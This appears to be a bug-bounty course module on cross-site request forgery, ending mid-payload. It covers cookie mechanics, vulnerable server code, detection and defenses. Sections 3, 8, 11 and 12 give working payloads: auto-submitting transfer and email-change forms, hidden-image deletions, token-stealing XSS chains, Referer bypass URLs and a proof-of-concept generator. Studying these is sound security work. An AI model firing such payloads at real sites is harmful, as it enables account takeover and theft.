Client-SideEasyClient-Side

CSRF

A complete guide to understanding, detecting, exploiting, and preventing CSRF vulnerabilities.

Take Exam

Step 1 of 2Introduction0% Complete

Introduction

Cross-Site Request Forgery (CSRF)

ANAS EDUCATION -- Bug Bounty & Pentesting Course (V2 Beginner-First)

SECTION 1. Introduction

Imagine you open your PC and visit `anasbank.com`.

You log in. Your browser receives a cookie:

http
Set-Cookie: session=abc123; Path=/; Secure; HttpOnly

From this moment until you log out, every request your browser sends to `anasbank.com` automatically carries that cookie. This is how the browser tells the server "this is the same user as a minute ago". You do not type your password again. The cookie speaks for you.

You navigate to the transfer page. You fill the form: amount 100 dirhams, destination account `ANAS-987654`. You click Submit. The browser sends:

http
POST /api/transfer HTTP/1.1
Host: anasbank.com
Cookie: session=abc123
Content-Type: application/x-www-form-urlencoded

to=ANAS-987654&amount=100

The server checks the cookie. You are logged in. It processes the transfer. Normal. Expected. The user authenticated, the user filled the form, the user clicked submit.

Now keep that tab open and, in a second tab, visit a completely different website, `cute-puppies.com`. You did not log out of the bank; you never do. The puppies site is just a page about dogs. You scroll. You enjoy.

That puppies page contains, hidden somewhere on it, this HTML:

html
<form id="f" action="https://anasbank.com/api/transfer" method="POST">
  <input type="hidden" name="to" value="ATTACKER-ACCOUNT">
  <input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('f').submit();</script>

The puppies page just told your browser: "send this form to `anasbank.com/api/transfer`".

Your browser sends the POST. Because the request goes to `anasbank.com`, the browser automatically attaches the cookie for `anasbank.com`. The browser does not care that the request was triggered by code on `cute-puppies.com`; cookies travel with the destination, not the source. The bank receives the request, sees the valid session cookie, and processes the transfer.

10,000 dirhams just left your account. You did not type anything. You did not click anything dangerous. You looked at puppies.

This is Cross-Site Request Forgery, CSRF for short. It is one of the oldest, most fundamental, and most still-exploitable web vulnerabilities in 2026. The bug does not live in the bank's code logic. The bug lives in the bank's implicit assumption that "if my cookie arrived, the request was made on my page".

This course teaches the CSRF bug class from zero. By the end you will know:

  • Why browsers attach cookies automatically and why that is the entire root cause.
  • The difference between CSRF, CORS, XSS, and Clickjacking (often confused).
  • Classic POST, GET-based, JSON, and login CSRF.
  • SameSite cookie bypasses, Referer regex bypasses, content-type bypasses.
  • How to detect, exploit, and prevent each variant with proper defense in depth.

You do not need to be an expert in HTTP. You need to understand that a cookie is a passport and the browser hands it to anyone who asks the right destination.

SECTION 2. How It Works

To find these bugs you first need to understand exactly what the browser does with cookies, what the server sees, and where the implicit trust hides.

Step 1. What a cookie is

A cookie is a small named string the server tells the browser to remember. The server sends `Set-Cookie` on the login response; the browser stores it; the browser attaches it on subsequent requests to that domain.

http
Set-Cookie: session=abc123; Domain=anasbank.com; Path=/; Secure; HttpOnly
  • `Domain=anasbank.com` ==> only requests to anasbank.com (and possibly subdomains) carry this cookie.
  • `Path=/` ==> the cookie is sent for any path on that domain.
  • `Secure` ==> only over HTTPS.
  • `HttpOnly` ==> JavaScript cannot read the cookie via `document.cookie`.
  • Missing here but critical: `SameSite` ==> controls whether the cookie travels on cross-site requests.

Step 2. Cookies are attached by destination, not by origin

This is the central fact. When `cute-puppies.com` (or any page) causes the browser to send a request to `anasbank.com`, the browser asks one question: "do I have any cookies stored for anasbank.com?" If yes, attach them. The browser does not check who initiated the request.

text
+---------------------+         +------------------+
| Tab 1               |         | anasbank.com     |
| anasbank.com        |  <----  | sets cookie      |
| logged in           |  cookie | session=abc123   |
+---------------------+         +------------------+

+---------------------+
| Tab 2               |
| cute-puppies.com    |  ----+
| HTML contains:      |      |
| <form action=       |      |  Form submits to anasbank.com
|  anasbank.com>      |      |  Browser attaches session=abc123
+---------------------+      |  (cookie's domain matches)
                             v
                       +------------------+
                       | anasbank.com     |
                       | sees:            |
                       | POST + cookie    |
                       | -> looks valid   |
                       | -> processes     |
                       +------------------+

Step 3. The two conditions for CSRF

Every CSRF attack needs exactly these two conditions:

  • 1. The victim is currently authenticated to the target site (a session cookie exists in the browser).
  • 2. The attacker can cause the victim's browser to send a request to the target site (visit a page, fetch an image, click a link, embed an iframe, anything that emits HTTP).

Both are easy. Most people stay logged in to their email, social media, bank, work tools for hours or days. Causing the browser to emit an HTTP request takes a single HTML tag.

Step 4. The five primitives that fire requests

A page on the attacker's domain has five common ways to make the victim's browser hit a target URL:

  • `<form action=... method=POST>` with `<script>document.forms[0].submit()</script>` ==> classic POST.
  • `<img src="https://target/...">` ==> GET request.
  • `<iframe src="https://target/...">` ==> GET request.
  • `fetch(..., { credentials: 'include' })` ==> POST/PUT/DELETE with cookies, with some CORS-imposed limits.
  • `<a href=...>` with `<script>document.querySelector('a').click()</script>` ==> top-level GET.

Each of these triggers a request that carries the cookie for the destination domain. None of them require the victim to type or click on anything malicious.

Step 5. Why authentication is not the same as authorization

The server's logic looks like:

python
@app.route('/api/transfer', methods=['POST'])
def transfer():
    if 'user_id' not in session:
        return 'unauthorized', 401
    do_transfer(session['user_id'], request.form['to'], request.form['amount'])
    return 'ok'

`session['user_id']` is the authentication check. It tells the server "this request has a valid session". It does NOT tell the server "the user just intentionally pressed Submit on anasbank.com's transfer form". The two are not the same. CSRF lives in the gap between them.

Step 6. The safe flow

text
+-----------+      User clicks Submit       +-------------+
| browser   |  --- POST /api/transfer --->  | anasbank.com|
|           |      Referer: anasbank.com    |             |
|           |      Origin: anasbank.com     |             |
|           |      Cookie: session=abc123   |             |
|           |      Body: to=ANAS-987654...  |  processes  |
+-----------+                                +-------------+

The request originates from anasbank.com itself; the bank can verify this with `Referer`/`Origin` headers, a CSRF token in the form, a custom header, or all three.

Step 7. The vulnerable flow

text
+-----------+    Visit cute-puppies.com       +-------------+
| browser   |  <-- HTML + auto-submit form -- | puppies     |
+-----+-----+                                  +-------------+
      |
      |   POST /api/transfer to anasbank.com (auto-submitted)
      |   Origin: cute-puppies.com
      |   Cookie: session=abc123     <-- browser attaches automatically
      v
+------------------+
| anasbank.com     |
| no CSRF token    |
| no Origin check  |
| no SameSite      |
| processes!       |
+------------------+

The bug is the bank trusting "cookie present" as proof of intent.

Step 8. What CSRF is not

  • Not phishing. The victim never types credentials into a fake page.
  • Not XSS. No JavaScript runs on the target domain.
  • Not Clickjacking. The victim does not click anything.
  • Not stolen credentials. The attacker never sees the password or token.
  • Not a server compromise. The server is responding correctly to a forged request.

CSRF is the request being made on the victim's behalf without their knowledge or consent.

SECTION 3. Attack Flow

The walkthrough below is the canonical CSRF attack against an email-change endpoint, which is the gateway to full account takeover.

Step 1: Recon

Map every state-changing endpoint the victim can reach when authenticated. Common candidates: change email, change password, disable 2FA, transfer money, delete account, delete content, post on behalf of user, follow/unfollow, approve OAuth.

Step 2: Capture the request

In Burp Proxy (or browser DevTools), log in as a test user and perform the action once. Note the full request: method, URL, headers, body, cookies, content type.

Step 3: Look for defenses

Check the request and response for:

  • A CSRF token in the form body, URL, or as a header (`csrf_token`, `_csrf`, `authenticity_token`, `X-CSRF-Token`).
  • Session cookie attributes (`SameSite=Strict`, `Lax`, or none).
  • Origin/Referer validation (replay the request from a different origin, see if the server still accepts it).
  • Content-Type restrictions (try changing `application/x-www-form-urlencoded` to `text/plain` to `application/json`).
  • A custom header like `X-Requested-With: XMLHttpRequest`.

If none of these defenses exist or any can be bypassed, the endpoint is CSRF-vulnerable.

Step 4: Build the attacker page

Create an HTML file that auto-submits the request:

html
<html>
<body onload="document.forms[0].submit()">
  <form action="https://target.anasmarket.com/api/profile/email" method="POST">
    <input type="hidden" name="email" value="attacker@evil.local">
  </form>
</body>
</html>

Step 5: Test against a controlled session

Open the page in a browser where a test user is logged in to the target. Watch the action complete.

Step 6: Deliver

Host the page at an attacker-controlled URL. Deliver to the victim via phishing email, forum post, malvertising, link shortener, anywhere the victim might visit while logged in to the target.

Step 7: Capture impact

The action executes silently in the victim's session. If the action was email change, follow up with a password reset and take over the account. If it was money transfer, the funds are gone.

ASCII timing diagram

text
TIME    VICTIM BROWSER                     TARGET SERVER
-----   ---------------------------        -------------------------
T0      logs in to target.anasmarket   --->
T0+1                                       200 OK -- Set-Cookie session=...
T1      browses other pages
T2      visits attacker.com            --->
T2+1                                       (no relation to target yet)
        attacker.com page contains
        an auto-submit form pointing
        at target.anasmarket
T3      onload fires; browser sends:
        POST target.anasmarket/api/...
        Cookie: session=...  (auto)    --->
T3+1                                       reads cookie, sees valid session
                                           processes -- email changed
T4      attacker triggers password
        reset to attacker@evil.local
T4+1                                       sends reset email to attacker
T5      attacker resets, logs in       --->  full account takeover

The whole sequence takes seconds. The victim is unaware throughout.

SECTION 4. Why Developers Make This Mistake

CSRF is not a code-quality bug. It is a model-of-the-browser bug.

Mistake 1: "If my server checks the session, the request is authorized"

Authentication and authorization-of-intent are different. The session proves identity; nothing in a plain POST proves the user intended the action.

Mistake 2: "Cross-origin requests are blocked by CORS"

CORS controls who can READ the response. It does not block sending requests. A `<form>` submission is a "simple" cross-origin request that fires without preflight and without CORS approval; the response is hidden from the attacker, but the side effect on the server already happened.

Mistake 3: "Cookies only travel on same-site requests"

Only true if the cookie is `SameSite=Strict` or `SameSite=Lax` with restrictions. The default for many older systems is no SameSite or `SameSite=None`. In those cases cookies travel on every request to their domain, including cross-site form submissions.

Mistake 4: "My API is on a different subdomain, so it is safe"

Subdomains share the parent domain's cookies if `Domain=.target.com` is set. Subdomain takeover plus shared cookies equals subdomain-launched CSRF against every other subdomain.

Mistake 5: "JSON APIs are safe because browsers preflight"

Only if the server validates the preflight is acceptable AND only if the request actually uses `application/json`. If the server accepts the same body with `Content-Type: text/plain`, there is no preflight, and JSON CSRF works.

Mistake 6: "We use bearer tokens, not cookies"

True for pure-token APIs. But many hybrid apps use cookies for the web UI and bearer tokens for mobile. The web UI endpoints are still CSRF-vulnerable.

Mistake 7: "The framework handles it"

Only if the developer left it on. `@csrf_exempt` in Django, `http.csrf().disable()` in Spring Security, missing `csurf` middleware in Express, missing `Flask-WTF` integration in Flask all silently remove the protection that the framework would otherwise provide.

SECTION 5. Beginner Summary

  • CSRF is when an attacker tricks a victim's browser into sending an authenticated request to a target site without the victim's knowledge.
  • The browser attaches the session cookie automatically because the request goes to the target's domain. The server cannot tell the request was initiated cross-site.
  • CSRF tokens (random per-session secret in the form), `SameSite` cookies (block cross-site cookie attachment), Origin/Referer validation, and custom headers all stop classic CSRF when applied together.
  • The victim does not click anything dangerous and does not enter credentials. Just visiting an attacker page is enough.
  • CWE-352 is the canonical mapping. OWASP historically classified CSRF in its own A8:2013 slot; current Top 10 maps it under A01:2021 Broken Access Control.

SECTION 6. Visual Explanation

Where cookies are attached

text
ANY REQUEST TO target.com FROM ANY SOURCE
+----------------------------------------+
| 1. browser looks up cookies for target.com |
| 2. attaches matching cookies                |
| 3. sends request                            |
+----------------------------------------+
        |
        v
  +----------+              +-----------+
  | target.com| <-- POST -- | initiator |
  | sees     |              | (target.com itself,
  | session=*|              |  attacker.com,
  +----------+              |  evil.com, ...)
                            +-----------+

The destination determines which cookies travel; the initiator does not.

Four families of CSRF

text
                +-----------+
                |   CSRF    |
                +-----+-----+
                      |
   +------------+-----+------+-------------------+
   |            |            |                   |
   v            v            v                   v
+--------+ +---------+ +------------+    +----------------+
| GET    | | POST    | | JSON       |    | Login CSRF     |
| based  | | based   | | text/plain |    | forge a login  |
+--------+ +---------+ +------------+    +----------------+
| <img>  | | <form>  | | fetch JSON |    | victim ends up |
| <iframe| | + JS    | | as text    |    | logged into    |
| script | | submit  | | bypass     |    | attacker acct  |
| redir  | |         | |            |    |                |
+--------+ +---------+ +------------+    +----------------+

Defense stack (defense in depth)

text
+--------------------------------------------------------------+
| Layer 1: CSRF synchronizer token (random per session)         |
| Layer 2: SameSite=Strict or Lax on session cookies           |
| Layer 3: Origin/Referer header validation                     |
| Layer 4: Custom required header (X-Requested-With)            |
| Layer 5: Restrict Content-Type to application/json on writes  |
| Layer 6: Re-authentication for high-risk actions              |
| Layer 7: No state-changing GET endpoints                      |
+--------------------------------------------------------------+

CSRF vs CORS vs Clickjacking vs XSS at a glance

text
              | requires    | runs JS  | cross-site  | server-side
              | victim click| on target| request     | code injected
--------------+-------------+----------+-------------+---------------
CSRF          |    no       |    no    |    yes      |     no
Clickjacking  |    yes      |    no    |  iframe     |     no
XSS           |    no       |   yes    |    no       |    yes (injected)
CORS misconfig|    no       |   yes    |    yes      |     no

CSRF is the only one of these where the attacker neither runs code on the target nor needs the victim to click anything.

SECTION 7. Definition

Technical definition

Cross-Site Request Forgery (CSRF, sometimes XSRF) is a vulnerability in which an attacker causes an authenticated victim's browser to send an unintended state-changing HTTP request to a target application, exploiting the browser's automatic transmission of credentials (session cookies, HTTP Basic auth headers, NTLM tokens, client certificates) to make the request indistinguishable from a legitimate user action.

  • CWE-352: Cross-Site Request Forgery (CSRF)
  • OWASP Top 10 (2017): A8 Cross-Site Request Forgery (had its own slot)
  • OWASP Top 10 (2021): merged under A01 Broken Access Control
  • Historical alternate name: XSRF, Session Riding, One-Click Attack

Beginner-friendly definition

CSRF is when the attacker uses your already-logged-in browser to do something on a website you trust, without your knowledge, by making your browser send a request you did not intend.

Why it matters

CSRF remains a live, high-impact bug class in 2026. Real disclosed bounty examples:

  • Dropbox -- Exfiltrate Google Drive access token using CSRF, paid $1,728.

Listed in https://github.com/reddelexc/hackerone-reports/blob/master/tops_by_bug_type/TOPCSRF.md

  • Internet Bug Bounty -- Argo CD CSRF leads to Kubernetes cluster compromise, paid $4,660.

Listed in the top corpus above.

  • Apache Airflow -- CVE-2023-49920: missing CSRF protection on DAG/trigger, Internet Bug Bounty disclosure.
  • TikTok Ads Portal -- CSRF, paid $1,000.
  • HackerOne itself -- HackerOne reports escalation to JIRA is CSRF vulnerable, paid $500.
  • Slack -- CSRF in GitHub integration, paid $500.
  • Shopify -- H1514 CSRF in domain transfer allows adding your domain to other user's account.
  • Shopify -- Wholesale CSRF to generate invitation token for a customer.
  • Mail.ru -- Disable 2FA via CSRF (leads to 2FA bypass).
  • Mozilla -- CSRF to information disclosure on password reset.
  • IBM -- POST-based CSRF leading to modification of contact information.
  • X (Twitter) -- CSRF on https://www.niche.co leads to "account disconnection".

The pattern is consistent: any state-changing endpoint without a properly validated CSRF defense remains exploitable in 2026.

Common affected systems

  • Account settings: email, password, phone, security questions, 2FA
  • Banking and payment endpoints: transfer, withdraw, change destination
  • Admin panels: delete user, ban user, modify roles, change configs
  • Social features: post, comment, like, follow, send DM
  • E-commerce: add to cart, checkout, change shipping address, request refund
  • OAuth and SSO consent and revocation endpoints
  • Webhook configuration endpoints (modify webhook URL = data exfiltration)
  • Integration management (connect/disconnect third-party services)
  • CMS publish/unpublish/delete content endpoints
  • IoT and home automation control endpoints

If a state change is made via a cookie-authenticated session, CSRF is a candidate vulnerability.

SECTION 8. Examples

Five realistic AnasTech scenarios. Each one matches the shape of a real disclosed bounty report.

Example 1. AnasBank money transfer (classic POST CSRF)

The feature. The transfer page on `anasbank.anastech.com` submits:

http
POST /api/transfer HTTP/1.1
Cookie: session=abc123
Content-Type: application/x-www-form-urlencoded

to=DESTINATION&amount=100

The bug. No CSRF token. Session cookie has no `SameSite`. No Origin or Referer validation.

The attack step by step.

  • Step 1: build a small HTML page with an auto-submit form pointing at the transfer endpoint, with `to=ATTACKER&amount=10000` hardcoded.
  • Step 2: host on attacker.com.
  • Step 3: send the link to victims who are logged in to anasbank.
  • Step 4: visitor's browser auto-submits; transfer executes.

Example 2. AnasMarket email change leading to ATO (account takeover)

The feature. The profile page changes email via:

http
POST /api/profile/email
Cookie: session=abc123
Content-Type: application/x-www-form-urlencoded

email=new@email.local

The bug. No CSRF defense. The change does not require old-password confirmation.

The attack step by step.

  • Step 1: PoC HTML auto-submits the form with `email=attacker@evil.local`.
  • Step 2: deliver to victim via phishing or forum link.
  • Step 3: email changes silently in the victim's session.
  • Step 4: attacker visits `/forgot-password`, requests reset, receives the reset email at their address.
  • Step 5: attacker sets a new password and logs in. Full ATO.

Example 3. AnasCorp admin GET-based zero-click deletion

The feature. The admin panel allows deletion via:

text
GET /admin/delete_car.php?id=42

The endpoint changes state via GET, with no token, no SameSite.

The bug. State-changing GET is the worst CSRF anti-pattern. Any HTML page can fire it with one tag.

The attack step by step.

This pattern matches the `<script>window.location.href = "http://target.local:63333/admin/delete_car.php?id=19";</script>` PoC shape that recurs in real penetration tests and bug bounty submissions.

Example 4. AnasOne JSON API content-type bypass

The feature. The mobile-focused JSON API exposes:

http
POST /api/v2/profile HTTP/1.1
Cookie: session=abc123
Content-Type: application/json

{"email": "user@example.com"}

The application enforces CSRF only when `Content-Type` is `application/x-www-form-urlencoded` (the developer believed JSON requests cannot be CSRF-forged because they trigger CORS preflight).

The bug. A `<form>` cannot send `application/json`, but `fetch` from JavaScript can send `Content-Type: text/plain` with a JSON body. `text/plain` does NOT trigger preflight (it is a CORS "simple" content type). If the server parses the body as JSON regardless of the content-type header, the attack works.

The attack step by step.

  • Step 1: build a page that calls `fetch('https://target/api/v2/profile', { method: 'POST', credentials: 'include', headers: { 'Content-Type': 'text/plain' }, body: JSON.stringify({email: 'attacker@evil.local'}) })`.
  • Step 2: browser sends the request without preflight; cookies are attached because `credentials: 'include'` and the destination is target.com.
  • Step 3: the server (if loose JSON parsing) updates the email.

Example 5. AnasSocial login CSRF

The feature. The login endpoint accepts:

http
POST /login
Content-Type: application/x-www-form-urlencoded

username=USER&password=PASS

No CSRF token on the login form.

The bug. Login CSRF lets the attacker force the victim's browser to log in to an attacker-controlled account. The victim is now operating in the attacker's account without realizing it. Subsequent typing (search queries, saved payment info, posts) is stored in the attacker's account.

The attack step by step.

  • Step 1: attacker creates a real account on the platform.
  • Step 2: PoC HTML submits the login form with attacker credentials.
  • Step 3: victim visits the page; their browser logs them in to attacker's account.
  • Step 4: victim now innocently enters a credit card during checkout, which lands in attacker's account.

Underused historically but devastating against fintech, e-commerce, and ad-buying platforms.

SECTION 9. Vulnerable Code

Below are the same shape of bug in different languages and frameworks. The flaw is structural: the server confirms the session and acts, with no confirmation that the request was initiated from the application's own UI.

Python (Flask)

python
from flask import Flask, request, session

app = Flask(__name__)

@app.route('/api/profile/email', methods=['POST'])
def change_email():
    if 'user_id' not in session:
        return 'unauthorized', 401
    # MISSING: CSRF token validation
    update_user_email(session['user_id'], request.form['email'])
    return 'ok'

Python (Django) -- regression by `@csrf_exempt`

python
from django.views.decorators.csrf import csrf_exempt

@csrf_exempt    # WRONG: removes the default CSRF protection
def change_email(request):
    if request.method == 'POST':
        request.user.email = request.POST['email']
        request.user.save()
    return HttpResponse('ok')

PHP

php
<?php
session_start();
if (!isset($_SESSION['user_id'])) { http_response_code(401); exit; }
// MISSING: CSRF token check
$new_email = $_POST['email'];
$db->prepare("UPDATE users SET email=? WHERE id=?")->execute([$new_email, $_SESSION['user_id']]);
echo 'ok';
?>

Node.js (Express)

javascript
const express = require('express');
const app = express();
app.use(express.urlencoded({ extended: true }));

// MISSING: csurf or equivalent middleware
app.post('/api/transfer', requireAuth, async (req, res) => {
  await transferFunds(req.user.id, req.body.to, req.body.amount);
  res.json({ ok: true });
});

Java (Spring Security) -- explicit regression

java
@Configuration
public class SecurityConfig {
    @Bean
    SecurityFilterChain filter(HttpSecurity http) throws Exception {
        http.csrf(csrf -> csrf.disable())   // WRONG: turns off default protection
            .authorizeHttpRequests(auth -> auth.anyRequest().authenticated());
        return http.build();
    }
}

Ruby on Rails -- explicit regression

ruby
class Api::ProfileController < ApplicationController
  skip_before_action :verify_authenticity_token    # WRONG
  def update
    current_user.update(email: params[:email])
    render json: { ok: true }
  end
end

ASP.NET MVC -- explicit regression

csharp
[HttpPost]
// MISSING: [ValidateAntiForgeryToken]
public ActionResult ChangeEmail(string email) {
    User.SetEmail(email);
    return Json(new { ok = true });
}

GET-based state change (any language)

php
<?php
// THE WORST CSRF SHAPE: state change via GET
if ($_GET['action'] === 'delete' && isset($_GET['id'])) {
    delete_car($_GET['id']);
}
?>

A single `<img src=...>` tag on any page triggers this.

The universal pattern across languages

  • 1. The server receives a state-changing request.
  • 2. The server checks the session cookie (authentication).
  • 3. The server processes the request without verifying it was initiated from its own UI.
  • 4. The server returns success.

Step 3 is where the bug lives. Every fix in section 16 adds the missing verification.

EOFSECTION_NEVER_USED

SECTION 10. Detection

CSRF detection is a request-replay exercise. You take a known-working request, strip out the defense (if any), replay it, and see if the server still accepts.

Manual workflow

  • Step 1: log in as a test user; perform the sensitive action; capture the full request in Burp Proxy or DevTools.
  • Step 2: catalog visible defenses in the request: any `csrf_token`/`_csrf`/`authenticity_token`/`X-CSRF-Token` field or header? Any custom header like `X-Requested-With`?
  • Step 3: catalog cookie attributes: open Application/Storage tab in DevTools; for each cookie attached to the request, note `SameSite`, `Secure`, `HttpOnly`, `Domain`.
  • Step 4: try replay variations in Burp Repeater and observe responses:
  • Remove the CSRF token entirely.
  • Empty the CSRF token (`csrf_token=`).
  • Replace the CSRF token with one from a different session.
  • Remove the `Origin` and `Referer` headers.
  • Replace `Origin: https://target.com` with `Origin: https://attacker.com`.
  • Change `Content-Type: application/x-www-form-urlencoded` to `text/plain` (and adjust body).
  • Change `Content-Type: application/json` to `text/plain` (keep JSON body).
  • Try a different HTTP method (POST -> GET, POST -> PUT) and look for permissive handling.
  • Step 5: if any variation succeeds, build a PoC HTML page that performs the same request from a third-party origin and verify it works in a real browser.

Burp Suite step by step

  • Right-click a captured request -> "Engagement tools" -> "Generate CSRF PoC". Burp produces an HTML page that auto-submits the same request.
  • Save the HTML, host it on an attacker domain (or open from `file://` for local testing).
  • Visit while a test user is logged in to the target.
  • If the action executes, CSRF confirmed.

Automated tools

One-shot probe with curl

bash
# Strip CSRF token and see if action still completes
curl -i -X POST 'https://target.anastech.com/api/profile/email' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -H 'Cookie: session=YOUR_TEST_COOKIE' \
  --data 'email=probe@test.local'

If the response is 200 OK and the email actually changed, the endpoint accepts requests without CSRF defense.

Indicators of vulnerability

  • Form/request body without any CSRF token field.
  • AJAX request without a custom header (no `X-Requested-With`, no `X-CSRF-Token`).
  • Session cookie missing `SameSite` attribute or `SameSite=None`.
  • State-changing action accessible via GET (delete, update, transfer).
  • Server accepts the request when `Origin` is replaced with attacker domain.
  • Server accepts the request with `Content-Type: text/plain` despite the body being JSON.
  • CSRF token validation that fails open (accepts blank or absent token).
  • CSRF token that does not change between sessions, or whose value comes from a non-session cookie.
  • No password re-authentication on high-value actions (transfer, change password, disable 2FA).

Build a checklist. For each state-changing endpoint, walk the list. The endpoints that fail multiple checks become PoC candidates.

SECTION 11. Exploitation

Exploit techniques range from a one-line PoC to multi-step chains with bypasses.

Workflow

  • 1. Identify a sensitive state-changing endpoint.
  • 2. Confirm absence of (or bypassable) CSRF defenses.
  • 3. Build the simplest PoC that works.
  • 4. Test against your own test session.
  • 5. Host on an attacker domain and deliver to a (consenting) test victim.
  • 6. Capture screenshots and HTTP traces showing the cookie, the request, and the resulting state change.
  • 7. Chain to highest impact: email change -> password reset -> ATO; transfer -> funds extraction; admin -> bulk deletion.

Techniques

1. Classic POST CSRF (auto-submit form)

html
<html>
<body onload="document.forms[0].submit()">
  <form action="https://target.anastech.com/api/profile/email" method="POST">
    <input type="hidden" name="email" value="attacker@evil.local">
  </form>
</body>
</html>

The most reliable PoC. Works because `application/x-www-form-urlencoded` is a CORS "simple" content type and does not require preflight; cookies attach automatically because the destination matches.

2. GET-based CSRF (one image or one redirect)

When the endpoint accepts state-changing GET:

html
<img src="https://target.anastech.com/admin/delete_car.php?id=42" style="display:none">

Or a top-level redirect:

html
<script>window.location.href = "https://target.anastech.com/admin/delete_car.php?id=42";</script>

The redirect form is particularly effective for `SameSite=Lax` cookies, which travel on top-level GET navigations.

3. Empty / missing token bypass

Some servers check `if (token) { validate(token) }` rather than `if (token === expected)`. Send the form with no token field at all, or with an empty value:

html
<input type="hidden" name="csrf_token" value="">

If the server returns success, the bypass works.

4. Token-from-different-session bypass

If the server validates only the format of the token but not its binding to the session, generate a token in your own session and supply it in the victim's request:

html
<input type="hidden" name="csrf_token" value="VALID_FORMAT_TOKEN_FROM_ATTACKER_SESSION">

5. Token-in-non-session-cookie bypass (PortSwigger lab pattern)

Some applications store the CSRF token in a non-session cookie and validate request token == cookie token. If the attacker can set that cookie via response header injection, cache poisoning, or a sibling subdomain, both values become attacker-controlled.

6. Token duplicated in cookie (PortSwigger lab pattern)

Some apps just check that the token in the form equals the token in the cookie. If the attacker can set the cookie value (via subdomain, CRLF injection in a header, or by tricking the user into visiting a page that sets it), the attacker controls both sides of the comparison.

7. Token leakage via XSS chain

If the application has any XSS (even a self-XSS), use it to fetch a page same-origin, parse the CSRF token, then submit the forged request with the stolen token:

javascript
fetch('/account/profile', { credentials: 'include' })
  .then(r => r.text())
  .then(html => {
    const m = html.match(/name="csrf_token"\s+value="([^"]+)"/);
    if (!m) return;
    const body = new URLSearchParams();
    body.append('email', 'attacker@evil.local');
    body.append('csrf_token', m[1]);
    fetch('/api/profile/email', { method: 'POST', credentials: 'include', body });
  });

XSS + CSRF defeats any token-based defense.

8. Token leakage via CORS misconfiguration

If a token-issuing endpoint returns `Access-Control-Allow-Origin: <reflected-origin>` and `Access-Control-Allow-Credentials: true`, the attacker page can fetch the token cross-origin with credentials and submit the CSRF.

9. Referer header `meta` strip

html
<head><meta name="referrer" content="no-referrer"></head>

If the server validates Referer only when present (`if (referer && !startsWith(referer, 'target.com'))`), stripping the header bypasses the check.

10. Referer regex bypasses

Naive checks like `referer.includes('target.com')` accept attacker-controlled URLs that contain the substring:

text
https://attacker.com?target.com
https://attacker.com;target.com
https://attacker.com/target.com/../path
https://target.com.attacker.com
https://attackertarget.com
https://target.com@attacker.com
https://attacker.com#target.com
https://attacker.com\.target.com
https://attacker.com/.target.com

Any of these passes a substring check while the request originates from `attacker.com`.

11. SameSite=Lax bypass via top-level GET

`SameSite=Lax` cookies are sent on top-level GET navigations. If a state-changing endpoint accepts GET (or accepts both POST and GET), navigating the victim's browser to that URL carries the cookie:

html
<script>window.location = 'https://target.anastech.com/change-email?email=attacker@evil.local';</script>

12. SameSite=Lax POST 2-minute window (Chrome)

Chrome historically allowed `SameSite=Lax` cookies on cross-site POST navigations within ~2 minutes of cookie creation (the "Lax + POST" mitigation window). If the victim recently logged in, this short window may permit cross-site POST with cookies attached.

13. SameSite=Strict bypass via client-side redirect

If a same-origin endpoint causes a client-side redirect to the sensitive action, and the attacker sends the victim to the redirector, the final navigation is treated as same-site by the browser; the Strict cookie travels.

14. SameSite=Strict bypass via sibling subdomain

`SameSite=Strict` cookies still travel on requests within the same registrable domain (`*.target.com`). A subdomain takeover or an XSS on any subdomain becomes a launchpad for CSRF against the parent.

15. JSON CSRF via `text/plain` content-type

html
<script>
fetch('https://target.anastech.com/api/profile', {
  method: 'POST',
  credentials: 'include',
  headers: { 'Content-Type': 'text/plain' },
  body: JSON.stringify({ email: 'attacker@evil.local' })
});
</script>

`text/plain` is a CORS "simple" type, no preflight; if the server parses the body as JSON regardless of content type, the CSRF succeeds.

16. Multipart/form-data CSRF

html
<script>
const fd = new FormData();
fd.append('email', 'attacker@evil.local');
fetch('https://target.anastech.com/api/profile', { method: 'POST', credentials: 'include', body: fd });
</script>

`multipart/form-data` is also a simple content type; if the backend parses it loosely, this bypasses content-type-based filters.

17. HTTP method override (`_method`, `X-HTTP-Method-Override`)

Some frameworks honor `_method=PUT` or `_method=DELETE` in form bodies, or `X-HTTP-Method-Override` headers, to convert a POST into PUT/DELETE. If the framework applies CSRF only to certain methods, this bypasses the protection:

html
<form action="https://target/api/account" method="POST">
  <input type="hidden" name="_method" value="DELETE">
</form>

18. CSRF on the login endpoint (login CSRF)

html
<form action="https://target.anastech.com/login" method="POST">
  <input type="hidden" name="username" value="attacker-account">
  <input type="hidden" name="password" value="attacker-known-password">
</form>
<script>document.forms[0].submit();</script>

Forces the victim to log in to the attacker's account. The victim then types their next actions (search, checkout, configuration) into an account the attacker can read.

19. CSRF via subdomain takeover

If session cookies are scoped `Domain=.target.com`, ANY subdomain can read/send them. A claimed-but-unused subdomain (DNS still points there, hosting unclaimed) allows the attacker to host JavaScript on `legacy.target.com` and perform same-site CSRF on `app.target.com` while bypassing `SameSite=Strict`.

20. Clickjacking + CSRF token-bearing form

When the form has a CSRF token but the page lacks `frame-ancestors`, the attacker frames the form and clickjacks the user into pressing Submit. The browser includes the token because the framed page generated it. This bypasses CSRF tokens through UI redress; defense is `frame-ancestors`, not token rotation.

Common mistakes

  • Reporting "no CSRF token" without demonstrating impact -- always show the resulting state change (account takeover, money loss, deletion).
  • Forgetting to test absent vs empty vs malformed token.
  • Missing GET-based variants on legacy endpoints.
  • Reporting logout CSRF as critical -- triagers downgrade these.
  • Not chaining email-change CSRF with password reset.
  • Forgetting to test method override.
  • Forgetting to test in multiple browsers; `SameSite` behavior differs.

SECTION 12. Proof of Concept

Burp Suite step by step

  • 1. Capture the state-changing request in Burp Proxy.
  • 2. Right-click -> "Engagement tools" -> "Generate CSRF PoC".
  • 3. Burp produces auto-submitting HTML; copy to a file and host it.
  • 4. Open the file in a browser session where a test user is logged in to the target.
  • 5. Action fires; verify state change in the target.

Python PoC generator

python
TARGET = "https://target.anastech.com/api/profile/email"
FIELDS = {"email": "attacker@evil.local"}

inputs = "".join(f'  <input type="hidden" name="{k}" value="{v}">\n' for k, v in FIELDS.items())
poc = f"""<html>
<body onload="document.forms[0].submit()">
<form action="{TARGET}" method="POST">
{inputs}</form>
</body>
</html>"""

with open("csrf_poc.html", "w", encoding="utf-8") as f:
    f.write(poc)

print("[+] PoC written to csrf_poc.html")

Classic POST PoC (email change)

html
<html>
<body onload="document.forms[0].submit()">
  <h1>Loading...</h1>
  <form action="https://target.anastech.com/api/profile/email" method="POST">
